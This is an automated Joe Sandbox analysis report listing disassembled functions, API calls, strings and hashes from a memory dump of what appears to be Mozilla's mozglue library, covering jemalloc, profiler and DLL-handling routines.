Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: f467775a218da9826da2d8ed423def446890731e16415414a44e6b1f9894fb2f
Instruction ID: 88bea51aafeadedda1a0875deaed08559f7812e0a6784d853efb29e5bd6eb5f1
Opcode Fuzzy Hash: f467775a218da9826da2d8ed423def446890731e16415414a44e6b1f9894fb2f
Instruction Fuzzy Hash: D1D1E631B04214DFDB00AB6EDC087B9B7F8EB86329F110719E95583FA1DB755808C7AA

Function 6C4F64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4F64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4F64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4F6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4F6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4F652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4F671C
GetCurrentProcess.KERNEL32 ref: 6C4F6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4F672F
GetCurrentProcess.KERNEL32 ref: 6C4F6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4F6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4F6A80
GetSystemInfo.KERNEL32(?), ref: 6C4F6ABE
__Init_thread_footer.LIBCMT ref: 6C4F6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F6AF7

Strings

nvdxgiwrap.dll, xrefs: 6C4F6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4F6798
_etoured.dll, xrefs: 6C4F64ED
user32.dll, xrefs: 6C4F6526
nvd3d9wrap.dll, xrefs: 6C4F6500
detoured.dll, xrefs: 6C4F64DA

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 615eeb424df6bdac99e46969d5ddde14a81ed6380e8cd70305e882cf4f46235e
Instruction ID: 7cbd3c5fe51be0999c9253d3d300fb8bd02ae1f2a5e14f4eadc8615edcb6c876
Opcode Fuzzy Hash: 615eeb424df6bdac99e46969d5ddde14a81ed6380e8cd70305e882cf4f46235e
Instruction Fuzzy Hash: E2F1D270D052199FDB20CF25CC48FEAB7B5AF86319F144299E829A3751D731AE86CF90

Function 6C50D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C50D904
LeaveCriticalSection.KERNEL32(?), ref: 6C50D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C50D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C50E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50E315
AcquireSRWLockExclusive.KERNEL32(6C56E804), ref: 6C50E37C
GetSystemInfo.KERNEL32(?), ref: 6C50E3C7
__Init_thread_footer.LIBCMT ref: 6C50E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C56E810,00000040), ref: 6C50E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E7B8,00001388), ref: 6C50E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E744,00001388), ref: 6C50E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E784,00001388), ref: 6C50E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E7DC,00001388), ref: 6C50E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E768,00001388), ref: 6C50E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C50E52E
ReleaseSRWLockExclusive.KERNEL32(6C56E804), ref: 6C50E54F

Part of subcall function 6C4FD960: EnterCriticalSection.KERNEL32(?), ref: 6C4FD999
Part of subcall function 6C4FD960: EnterCriticalSection.KERNEL32(6C56E7B8), ref: 6C4FDA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C50E6DD
MALLOC_OPTIONS, xrefs: 6C50E3FF
MOZ_CRASH(), xrefs: 6C50E62B
<jemalloc>, xrefs: 6C50E61C, 6C50E6CC
Compile-time page size does not divide the runtime one., xrefs: 6C50E621
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C50E560, 6C50E58A, 6C50E5A5

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: c7c7f5b737d49cd86fcb2fa16bf45d81b217b13684e4e693da7b5c2ef41236a9
Instruction ID: 46ce93097c92e23ddb644fc169a2d276bd0dee8f0ca3cffeb640b84e9123ce77
Opcode Fuzzy Hash: c7c7f5b737d49cd86fcb2fa16bf45d81b217b13684e4e693da7b5c2ef41236a9
Instruction Fuzzy Hash: D7928B71B056018BD714CF29CD40715BBE1BF86728F298A6DE8A9CB7A1D7B1E841CBC1

Function 6C54C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C54C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C54C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C54C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C54CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C54DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C54DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C54DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C54E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C54E472

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: a679fa87f03ecb311aa87160d0bffad459647312d9b6ed215b871f59fd3aa890
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: D0339E71E0021ACFCB14CFA8C8806ADFBF2FF89310F298669D955AB755D731A945CB90

Function 6C50ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C50EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C50EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C511695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C511770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C511A3E

Strings

~qNl, xrefs: 6C50ED10
~qNl, xrefs: 6C50ED13

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qNl$~qNl
API String ID: 3693777188-368856854
Opcode ID: cfcd223db76499591b6acd3dfc8fd520df6e81d224ce0b7a420f524d645ec5a9
Instruction ID: 3b74e21e47d7080203bfe74f781b6d4bbfa10738b5e3a135ab6e4189ab753508
Opcode Fuzzy Hash: cfcd223db76499591b6acd3dfc8fd520df6e81d224ce0b7a420f524d645ec5a9
Instruction Fuzzy Hash: 6DB32B71E04219CFDB14CFA8C894A9DB7B2FF89304F1582A9D459ABB45D730AD86CF90

Function 6C4FFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E7B8), ref: 6C4FFF81
LeaveCriticalSection.KERNEL32(6C56E7B8), ref: 6C50022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C500240
EnterCriticalSection.KERNEL32(6C56E768), ref: 6C50025B
LeaveCriticalSection.KERNEL32(6C56E768), ref: 6C50027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C500D67, 6C500D7B, 6C500DAC
<jemalloc>, xrefs: 6C500D62, 6C500D76, 6C500DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FFE99, 6C4FFEB7, 6C4FFED3, 6C500DB8, 6C500DD3, 6C5019B4

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 07b09436c056ec4815862803138f2cf4899d204ae3952bb1357bcedfe11c72cf
Instruction ID: da7bd56bfb0ea04c421d93a5675ff0e3af6eccce3ee9a17ee75c35ba79ecf909
Opcode Fuzzy Hash: 07b09436c056ec4815862803138f2cf4899d204ae3952bb1357bcedfe11c72cf
Instruction Fuzzy Hash: FBC28B71B057418FD714CF29C980716BBE1AFC5328F288A6EE4A9CB7A5D771E841CB81

Function 6C54E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C54E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C54EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C54F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C54F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C550E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C550E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C550EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C550ED4

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 1aa9fed9778a83ceaff82198c9b009965f6ceb16c87e6121f3dbc5f8b25843aa
Instruction ID: b385f57a7ef47dd625cdd068b55d02cc6ef4e64f27032da9f502b0413885fbc8
Opcode Fuzzy Hash: 1aa9fed9778a83ceaff82198c9b009965f6ceb16c87e6121f3dbc5f8b25843aa
Instruction Fuzzy Hash: 18638E71E0025ACFCB04CFA8C8905DDFBB2FF89314F69826AD855AB755D730A946CB90

Function 6C523E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C547770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Rl,?,?,?,6C523E7D,?,?), ref: 6C54777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C523F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C523F5C
VerSetConditionMask.NTDLL ref: 6C523F8D
VerSetConditionMask.NTDLL ref: 6C523F99
VerSetConditionMask.NTDLL ref: 6C523FA0
VerSetConditionMask.NTDLL ref: 6C523FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C523FB4

Strings

C>Rl, xrefs: 6C523E93
nvinit.dll, xrefs: 6C524479
nvd3d9wrap.dll, xrefs: 6C524466

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Rl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-979243329
Opcode ID: 9968bcc2304afa233fd1b64f7c02faf14b1de3b335929b4410da9e7f5aad9c26
Instruction ID: f1115c701d11968169a4e7021394c24757edc3db74164289bfe1a595b8d59d80
Opcode Fuzzy Hash: 9968bcc2304afa233fd1b64f7c02faf14b1de3b335929b4410da9e7f5aad9c26
Instruction Fuzzy Hash: D652E272610B458FD720DF24CD80EAB77E9AF85204F44496DD4A2CB782DB74F90ACBA1

Function 6C4FFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E7B8), ref: 6C4FFF81
LeaveCriticalSection.KERNEL32(6C56E7B8), ref: 6C50022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C500240
EnterCriticalSection.KERNEL32(6C56E768), ref: 6C50025B
LeaveCriticalSection.KERNEL32(6C56E768), ref: 6C50027B

Strings

MOZ_CRASH(), xrefs: 6C500CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FFE99, 6C4FFEB7, 6C4FFED3, 6C500DB8, 6C500DD3, 6C5019B4, 6C501A10

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: ce0d372548be32cb5b2d2300287a387d5cac1f0d2186ecfefb0e0fbf1a37d4d8
Instruction ID: 1f1b59d1e211448606011edd473416e672839f59fda0b13fac6c33788113fe7d
Opcode Fuzzy Hash: ce0d372548be32cb5b2d2300287a387d5cac1f0d2186ecfefb0e0fbf1a37d4d8
Instruction Fuzzy Hash: D7B27A717057418FD714CF29C990716BBE1AF85328F28CA6DE86ACBBA5D770E841CB81

Function 6C535600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C536131
expected a Count entry, xrefs: 6C535AC3
ProfileBuffer parse error: %s, xrefs: 6C535AC8, 6C535CBB
name, xrefs: 6C535E79, 6C535E8F
expected a Time entry, xrefs: 6C535CB6
schema, xrefs: 6C53606D

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2aecc70aba232f27b840d9176229672900aaec1a2242b8bb214e2994ba7a319d
Instruction ID: 8558ab43c60b852b43ea095d50c1f29b3efbd9ddc0d70a1d0592d6ba5160fcea
Opcode Fuzzy Hash: 2aecc70aba232f27b840d9176229672900aaec1a2242b8bb214e2994ba7a319d
Instruction Fuzzy Hash: 7A926C71A083518FD724CF18C890B5BBBE1BFC9308F54991DE9999B751EB30E809CB92

Function 6C4F7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E744), ref: 6C4F7885
LeaveCriticalSection.KERNEL32(6C56E744), ref: 6C4F78A5
EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4F78AD
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4F78CD
EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C4F78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4F78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4F795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4F79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4F7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4F7C82
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C4F7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4F7DAF

Strings

DVl, xrefs: 6C4F787F
DVl, xrefs: 6C4F789F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DVl$DVl
API String ID: 759993129-1560004407
Opcode ID: fd8b6a93cc213a3cf7fd77233199709366f8b1eb0d7d1500e5c898fab5658b47
Instruction ID: b350184c20e5a2c7b85922467f4cf8d5ad7c577f3c3b655983a85f66b1b9bc63
Opcode Fuzzy Hash: fd8b6a93cc213a3cf7fd77233199709366f8b1eb0d7d1500e5c898fab5658b47
Instruction Fuzzy Hash: A8029030A052198FDB54CF19C984F99B7B5FF88318F2582AAD819A7711D734BE92CF80

Function 6C532E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C532ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C532EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C532F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C533214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C533242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5336BF

Strings

get , xrefs: 6C533205
set , xrefs: 6C5336EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C53378D

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 25ce8c36f3efaa7898f74caec027a9177322357b75013f640652e964638a3feb
Instruction ID: 095b9a5779149b19181a54a361f808d435a03acd2f90fe80f33d1de8071affb0
Opcode Fuzzy Hash: 25ce8c36f3efaa7898f74caec027a9177322357b75013f640652e964638a3feb
Instruction Fuzzy Hash: 4C326F716083818FD324CF24C890AAEBBE2AFC9318F549D1DE5D987751EB31D94ACB52

Function 6C527E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C528280, 6C5283E1
(pre-xul), xrefs: 6C527E88
name, xrefs: 6C527ECF, 6C528335
vVl, xrefs: 6C528207
schema, xrefs: 6C5281E3, 6C528311

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vVl
API String ID: 3412268980-2139544962
Opcode ID: cc8ce9c5bb901477bdc1cfb34215b1ede187010c8c1c58c0408698594fa7e06c
Instruction ID: 1e665c16705b290b60f395550bc00cee972943a72c5b8df097eb52a1bc4b4725
Opcode Fuzzy Hash: cc8ce9c5bb901477bdc1cfb34215b1ede187010c8c1c58c0408698594fa7e06c
Instruction Fuzzy Hash: 25E17EB2A043408BC710CF69CC40A6BFBE9BBC5314F558A2DE895D7790DBB4DD498B92

Function 6C545FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C546009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C546024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QNl,?), ref: 6C546046
OutputDebugStringA.KERNEL32(?,QNl,?), ref: 6C546061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C546069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C546073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C546082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C56148E), ref: 6C546091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QNl,00000000,?), ref: 6C5460BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5460C4

Strings

QNl, xrefs: 6C545FFC, 6C546042, 6C546045, 6C5460B3

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QNl
API String ID: 3835517998-2130531976
Opcode ID: 4225aa750f02e98461f85c51b125b1ae489c43bc4c111ce32017461f8d014586
Instruction ID: fb944801c525edde2b3857210f27d094df328ea930ddd60267f745670522f725
